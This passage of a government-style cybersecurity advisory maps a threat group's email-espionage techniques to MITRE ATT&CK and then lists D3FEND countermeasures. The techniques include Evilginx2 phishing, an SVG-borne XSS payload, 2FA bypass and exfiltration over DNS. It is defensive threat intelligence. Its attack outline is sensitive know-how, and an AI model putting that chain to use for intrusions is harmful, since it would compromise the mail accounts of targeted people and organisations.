<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
